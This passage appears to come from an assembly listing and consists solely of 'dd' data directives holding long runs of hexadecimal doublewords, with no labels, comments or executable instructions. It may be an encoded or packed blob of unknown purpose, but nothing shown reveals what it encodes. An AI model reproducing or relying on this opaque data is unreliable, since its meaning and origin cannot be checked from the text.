0F313E2E2h, 19C4B8DDh, 2C874C76h dd 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh, 18BC16AEh dd 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah, 0B1383EFFh dd 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h, 1A0B00A0h dd 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h, 89F4F287h dd 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h, 143EA259h dd 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h, 166856h dd 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h, 32836068h dd 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah, 13D7614h dd 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h, 6F05065h dd 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch, 1B808980h dd 472052D4h, 123B9028h, 9734CFAh, 0A94CFh, 53BE23F0h dd 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh, 3410801Fh dd 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h, 5F0265D4h dd 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h, 789CF800h dd 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh, 9075DBD5h dd 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h, 0D7A70397h dd 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h, 562E003Eh dd 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh, 0A1AAC9Fh dd 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh, 0B8323D60h dd 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh, 6103D0CBh dd 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h, 0C6FCE7A1h dd 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah, 3E833807h dd 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h, 1C3AFB7Ah dd 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h, 7E2BE87Ch dd 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h, 2901164h dd 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h, 32805D55h dd 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h, 0B73B677Ch dd 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h, 31A500F3h dd 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h, 0F23A2C29h dd 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h, 52FB25D2h dd 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h, 9E5D738Bh dd 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h, 35B8315h dd 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h, 7DB889h dd 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh, 477F3D4Bh dd 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h, 3EB84323h dd 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h, 0C8DFC900h dd 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h, 0F3458AC0h dd 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h, 1F60139h dd 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh, 8056510Bh dd 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h, 78803974h dd 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh, 4402701Fh dd 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h, 0FAED75F5h dd 615097E0h, 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h dd 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h dd 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h dd 2F000BD4h, 41EDCE80h, 152420h, 74664C94h, 1FFD389h dd 840F3A00h, 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h dd 0A30D1C64h, 9105CA5h, 0F34E8218h, 7DBA5080h, 2409D965h dd 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh, 0E9A878F5h dd 6952A4F0h, 85C79900h, 77E80810h, 0F2C403AEh, 0F42133DEh dd 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh dd 16C0D08Fh, 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch dd 0DF7C514Ch, 0B0465A07h dd 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h, 0B80011EFh dd 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h, 0EA096A55h dd 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h, 281536C4h dd 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh, 5539D9h dd 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h, 888CBh dd 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h, 4495ECh dd 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h, 3EAEE3h dd 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh, 54150027h dd 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh, 24871785h dd 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah, 85F310D2h dd 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h, 1FB9BF0h dd 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h, 0D0F84768h dd 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h, 0B94CB70h dd 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h, 846C1614h dd 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h, 0FC773E00h dd 10428EB2h, 0E9894A00h, 931675F2h, 157A25h, 6950C7B1h dd 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h, 0D2F63200h dd 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh, 0B94B851Ah dd 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h, 4AA574F1h dd 310229BEh, 8D2A0746h, 45244054h, 37120143h, 3570A985h dd 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h, 834023A0h dd 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h, 0C6644367h dd 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h, 0CAA11A9Ch dd 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h, 45ED3D3Bh dd 59348200h, 5B782406h, 744A6000h, 63C27A12h, 10771Fh dd 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh, 807100E0h dd 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh, 0CEFAC922h dd 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh, 0D0944BC7h dd 80D7B31Fh, 6D20D429h, 7807431Fh, 94FBA538h, 56E2B800h dd 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h, 0F26F935h dd 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch, 72A0DC24h dd 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah, 0C076FA2Dh dd 50C065h, 2143BE8h, 0D344E7B1h, 0DC199C00h, 921C298Dh dd 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h, 33705700h dd 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h, 34A1A400h dd 525BDB8Ah, 0E391006Eh, 882FB580h, 4200D621h, 0D0396147h dd 675B0Ah, 689FC274h, 282D35D2h, 88595D16h, 389E991Ch dd 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h, 6800C020h dd 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh, 0C7521400h dd 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh, 9864B600h dd 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h, 0DF0093F7h dd 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h, 58001A10h dd 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh, 3326040Fh dd 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah, 688BD100h dd 98FF85F6h, 0C4C500F7h, 54913CA3h, 41003BEBh, 0A5C70334h dd 1DEE6151h, 40AD5708h, 8045A268h, 6C243B33h, 0C0F7B24h dd 855E20F8h, 1E12DB9Ch, 0CEB28B61h, 378040A3h, 3DAB0813h dd 6F07100h, 0C65C035Dh, 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h dd 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h, 0E800C1C2h dd 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h, 99FCBD07h dd 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh, 4B07C837h dd 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h, 0C38D033h dd 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h, 51B8E010h dd 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h, 0BA673021h dd 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh, 22A05CA1h dd 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah, 0BE848D4Fh dd 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h, 0A021C80Dh dd 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h, 972D00E1h dd 70895130h, 94900853h, 5C81B800h, 0EA18212Bh, 4352008Eh dd 9747DE1Dh, 95009436h, 0A1F146A9h, 9685502h, 927C86DDh dd 0BC210B80h, 563C75FDh, 0C289F3Dh, 0E91EF8C0h, 79ECA419h dd 30C700F5h, 0AFAA50BCh, 4C00C641h, 0B82386D6h, 3ACF28h dd 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h, 99E8C83Bh dd 0CEA0078h, 0FF892EE4h, 88A0877Bh, 0B77DAFF4h, 0B6902501h dd 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h, 410578A4h dd 0BA1C09A0h, 359ACE80h, 5B30007Dh, 80B81E20h, 85E2E576h dd 22B0D00h, 0FFFEC63Dh, 0FD250016h, 0AEB617B4h, 580078C0h dd 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h, 0CCD721CBh dd 2B005A75h, 6A151F5Ch, 90D4B957h, 3B9607AEh, 677AFACDh dd 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah, 18452059h dd 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h, 3D1FB80Fh dd 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h, 6467D462h dd 0C71103Ch, 1700EAB9h, 0CBD53E13h, 0BA3B009h, 6167DD1h dd 404B5A07h, 0C9250C15h, 3910171Eh, 0B56CE140h, 51B7C4h dd 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h, 2CE3124Eh dd 0E1C399h, 2FE81504h, 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh dd 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch, 2F20D20Bh dd 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh, 4FCB7A40h dd 0ED3AC71h, 0C2C38449h, 37568D80h, 0A1003805h, 0C926486Ch dd 2D60E4h, 68301E40h, 8528A0FFh, 0A8B20100h, 0B4D7504Ch dd 6BC00ABh, 0CAC13994h, 14003589h, 54886D45h, 2AA450h dd 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh, 0FA3D003Bh dd 99407422h, 4F1E086Dh, 2B001B93h, 0E78253E3h, 9550247Ah dd 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h dd 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h, 0A0BD98h dd 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h, 2E47AE3h dd 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh, 900480B6h dd 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh, 898F0C6Dh dd 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h, 25228A6Bh dd 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h, 0A581CE09h dd 2CE6DA79h, 87170501h, 350304CCh, 0C037C03Bh, 3800E87Fh dd 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh, 68335500h dd 720AF2C1h, 0D4C40BC8h, 80D753E7h, 711F1C24h, 766C0012h dd 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh, 1328F7E4h dd 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh, 0F3010069h dd 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh, 451586h dd 96BAB30Eh, 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h, 4A0F7D44h dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h dd 12E0ABBDh, 930C74Ch dd 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh, 52ACF19Fh dd 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah dd 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h dd 8301A6A5h, 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h dd 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h dd 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h dd 0F85AD836h, 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h dd 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h dd 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h dd 6C2BC187h, 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah, 0F513E5h dd 1930F2E8h, 488A3C53h, 6A0012FAh, 0AE16D41Ch, 0D641F8h dd 172DF2BCh, 0F7143A03h, 6F88C401h, 10086977h, 7E297Ch dd 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h dd 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h dd 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h, 0F7E623D3h dd 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h, 91921D0Bh dd 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h, 523C76B9h dd 0DBC0E00h, 510203C4h, 0C23B3E0Ah, 7BD31080h, 40143B0h dd 0EB349A1Eh, 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh dd 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh dd 0B1DC96h, 98957FD2h, 0C80238D4h, 30B4D26Ch, 4201E022h dd 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h, 1F49D85h dd 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh, 3D6F44h dd 0A0B33F4Ah, 6540CE5Bh, 80B9101h, 0E5ADF0D2h, 0F034B7FCh dd 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh, 0F529B23Ch dd 39CD042h, 0CA6846BFh, 89F8210Dh, 0F1039659h, 0B1C2B0D4h dd 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h, 0EC99DD00h dd 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h, 0B583C700h dd 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h, 0B4A93ADFh dd 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h, 70E0609h dd 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h, 2FB97B00h dd 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h, 0EFE8588Ah dd 5A260D01h, 32205F74h, 15A5B340h, 10240009h, 438D55C1h dd 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h, 44A94603h dd 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h, 170880h dd 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah, 0C777E8h dd 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh, 29E00DBh dd 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh, 160A005Ch dd 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh, 698592A8h dd 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh, 8C004BD7h dd 2C0806A4h, 89030984h, 55437850h, 0E06AB830h, 2F1D00EEh dd 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch, 7F484h dd 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh, 6DA1876h dd 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh, 0B871F7C2h dd 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h, 9A07787Ch dd 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h, 0ED84B90Dh dd 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh, 0F59E8351h dd 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h, 5AF10728h dd 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h, 0A3EA5Ch dd 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h, 8F1800D2h dd 4267E37h, 920E459Eh, 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh dd 511DDA73h, 0C400132Ah, 79642FECh, 81D817h, 0B6B2ACF4h dd 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah, 89190034h dd 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h, 7F407E83h dd 70687705h, 0E0185E00h, 453020C8h, 28663B40h, 2B344207h dd 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h dd 8FF092h, 0BF06CAB6h, 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh dd 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h, 35941D55h dd 89B0047h, 66929EA4h, 2116739Dh, 3D0029E2h, 97A38289h dd 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh, 589C5172h dd 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h dd 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h, 77AA1960h dd 2B9AF9h, 0DB99FE45h, 0B86F28AAh, 461B6000h, 0C8D42F20h dd 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh, 1E43006Dh dd 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h, 0E800B0ECh dd 66A05F1h, 2413CE5Eh, 0AD6C7Ch, 59A94E82h, 0A20E9048h dd 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h dd 52501121h, 25611C18h, 2E745E0h, 0F5289833h, 0DD601D02h dd 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h, 24B70037h dd 49E65906h, 630061BFh, 0AE121D58h, 980E4427h, 0E8DE4A4Dh dd 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh, 67008F17h dd 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h, 0A468D900h dd 81D4B785h, 0C4900029h, 21718A23h, 38054424h, 5EEE1D0Fh dd 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh, 0F5DE421Ch dd 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h, 0F12AF024h dd 810726FEh, 31400689h, 0DA534540h, 3421001Bh, 381CDE71h dd 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch, 9D13604Ch dd 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh, 4B345C56h dd 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h, 20BA008Ch dd 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh, 5CCDD5C8h dd 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h, 6C696687h dd 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h, 8A53C379h dd 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh, 196D323Eh dd 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h, 0C08B4281h dd 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h, 8C8B0380h dd 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h, 0E68E009Ah dd 0A6E9661h, 3000C481h, 604FC319h, 158D13h, 23515092h dd 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh, 0C108071Eh dd 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h, 0C0A00380h dd 910129E0h, 44022290h, 89040300h, 18251505h, 310E214h dd 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h, 10F30FE3h dd 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh, 44A3900h dd 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h, 0AA009CADh dd 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h, 47AFCC7h dd 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h, 27017279h dd 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h, 0B9803E0Ch dd 896182h, 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h dd 7911ABBh, 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h dd 0C82D66h, 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h dd 62336815h, 0C71CD0FFh dd 17CC849h, 890080ECh, 656A8D18h, 0E0142708h, 2C340696h dd 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh dd 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h dd 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h dd 3E8025CEh, 300CB2Bh, 0D88A28FBh, 0DAE9B9h, 0BD766C89h dd 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh, 320FE49h dd 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh, 5FC49h dd 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh, 0FF960367h dd 320DC0B6h, 26985B98h, 1F046973h, 23824B11h, 61C98B80h dd 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh, 8F2A8894h dd 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h, 47210A1Fh dd 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h, 579CFFD4h dd 788306C7h, 7208C100h, 8AA0EF30h, 26410111h, 0BE055488h dd 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h, 0B680F8C2h dd 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh dd 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h, 80C8D4h dd 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh, 0C30A3973h dd 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh, 208C0ABDh dd 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h, 0E8B0F00h dd 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h, 0E680C371h dd 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h, 598125D0h dd 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh, 9B2C888Ah dd 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h, 91E6723Ah dd 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh, 38015878h dd 0E57A08Fh, 30E40820h, 13900085h, 8941C021h, 0A4006087h dd 50C4E6Bh, 5B0FF5h, 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h dd 9CD7F219h, 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h dd 0BDB99D8Eh, 25013C0h, 527E5411h, 5295800h, 0C4860CDh dd 0FAA6005Ch, 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h dd 8D29C8D9h, 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh dd 136BB28h, 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h dd 4D008316h, 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h dd 0B929907h, 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh dd 15017310h, 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch dd 0EB462434h, 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h dd 0F5FE8111h, 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh dd 3679EB32h, 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh dd 1C13770Bh, 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh dd 7B2738Ch, 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah dd 0A4003B29h, 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h dd 0BE02BC0h, 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh dd 0C005DAFDh, 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch dd 0E0587D6Eh, 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h dd 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h dd 85C3C7CCh, 97908Dh, 8814577Ah, 5D6558DCh, 10056703h dd 9843860Fh, 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh dd 0C30041A2h, 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh dd 68054100h, 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h dd 6500700h, 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h dd 980990F4h, 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h dd 0C1A9C14h, 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h dd 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h dd 946DE407h, 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh dd 89770600h, 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h dd 906CC41Ch, 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h dd 44FD6Fh, 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h dd 1AB4002Fh, 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh dd 8C93008Bh, 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h dd 80461E18h, 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h dd 5B5AEB00h, 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h dd 0D005AD7h, 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h dd 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h dd 8600FD1Bh, 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh dd 500E8E88h, 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h dd 2BD00024h, 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh dd 96C70391h, 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h dd 0F286Eh, 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h dd 4CCD1852h, 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h dd 0CB47C370h, 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h dd 27E75AFDh, 0D190C3h, 406A8726h, 1E100668h, 84E3F900h dd 2C1F62BAh, 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh dd 0A8178044h, 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah dd 0A11C51E8h, 5FD73B11h, 7C543700h, 